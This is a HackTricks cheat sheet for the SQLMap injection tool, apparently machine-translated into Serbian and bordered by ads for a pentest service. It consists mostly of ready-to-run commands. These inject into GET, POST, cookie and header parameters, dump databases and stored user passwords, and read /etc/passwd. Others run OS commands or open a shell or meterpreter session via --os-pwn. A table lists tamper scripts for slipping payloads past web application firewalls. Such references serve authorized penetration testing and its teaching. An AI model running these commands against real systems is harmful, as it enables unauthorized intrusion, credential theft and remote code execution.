SQLMap - CheatSheet

Support HackTricks

Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje. Pokrenite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.

Osnovni argumenti za SQLmap

Generički

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Preuzmi informacije

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB podaci

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Mesto injekcije

Iz Burp/ZAP hvatanja

Uhvatite zahtev i kreirajte req.txt datoteku

sqlmap -r req.txt --current-user

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injekcije u Header-ima i drugim HTTP metodama

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Naznačite niz kada je injekcija uspešna

--string="string_showed_when_TRUE"

Eval

Sqlmap omogućava korišćenje -e ili --eval za obradu svake payload pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru flask cookie sesija je potpisana od strane flaska sa poznatom tajnom pre slanja:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Pročitajte datoteku

--file-read=/etc/passwd

Proučavanje veb sajta sa SQLmap i automatsko iskorišćavanje

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Drugi Red Injekcija

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Pročitajte ovaj post o tome kako izvesti jednostavne i složene druge redne injekcije sa sqlmap.

Prilagođavanje injekcije

Postavite sufiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoć u pronalaženju boolean injekcije

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Zapamtite da možete kreirati svoj vlastiti tamper u python-u i to je veoma jednostavno. Možete pronaći primer tampera na stranici za Drugi Red Injekciju ovde.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription

apostrophemask.py

Zamenjuje karakter apostrofa sa njegovim punim UTF-8 ekvivalentom

apostrophenullencode.py

Zamenjuje karakter apostrofa sa njegovim nelegalnim dvostrukim unicode ekvivalentom

appendnullbyte.py

Dodaje kodirani NULL bajt karakter na kraj payload-a

base64encode.py

Base64 kodira sve karaktere u datom payload-u

between.py

Zamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #'

bluecoat.py

Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom

chardoubleencode.py

Dvostruko url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane)

commalesslimit.py

Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M'

commalessmid.py

Zamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)'

concat2concatws.py

Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane)

charunicodeencode.py

Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022"

charunicodeescape.py

Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022"

equaltolike.py

Zamenjuje sve pojave operatora jednakosti ('=') sa operatorom 'LIKE'

escapequotes.py

Escape-uje navodnike (' i ")

greatest.py

Zamenjuje operator veće od ('>') sa 'GREATEST' ekvivalentom

halfversionedmorekeywords.py

Dodaje verzionirani MySQL komentar pre svake ključne reči

ifnull2ifisnull.py

Zamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Obavija kompletnu upit sa verzioniranim komentarom

modsecurityzeroversioned.py

Obavija kompletnu upit sa komentarom nulte verzije

multiplespaces.py

Dodaje više razmaka oko SQL ključnih reči

nonrecursivereplacement.py

Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri

percentage.py

Dodaje znak procenta ('%') ispred svakog karaktera

overlongutf8.py

Konvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane)

randomcase.py

Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom slovom

randomcomments.py

Dodaje nasumične komentare SQL ključnim rečima

securesphere.py

Dodaje posebno kreirani string

sp_password.py

Dodaje 'sp_password' na kraj payload-a za automatsku obfuscation iz DBMS logova

space2comment.py

Zamenjuje karakter razmaka (' ') sa komentarima

space2dash.py

Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim nasumičnim stringom i novim redom ('\n')

space2hash.py

Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n')

space2morehash.py

Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n')

space2mssqlblank.py

Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera

space2mssqlhash.py

Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim novim redom ('\n')

space2mysqlblank.py

Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera

space2mysqldash.py

Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim novim redom ('\n')

space2plus.py

Zamenjuje karakter razmaka (' ') sa plusom ('+')

space2randomblank.py

Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera

symboliclogical.py

Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i

unionalltounion.py

Zamenjuje UNION ALL SELECT sa UNION SELECT

unmagicquotes.py

Zamenjuje karakter navodnika (') sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo)

uppercase.py

Zamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT'

varnish.py

Dodaje HTTP zaglavlje 'X-originating-IP'

versionedkeywords.py

Obavija svaku ne-funkcionalnu ključnu reč sa verzioniranim MySQL komentarom

versionedmorekeywords.py

Obavija svaku ključnu reč sa verzioniranim MySQL komentarom

xforwardedfor.py

Dodaje lažno HTTP zaglavlje 'X-Forwarded-For'

Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje. Pokrenite kompletan pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekona do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.

Podržite HackTricks

Last updated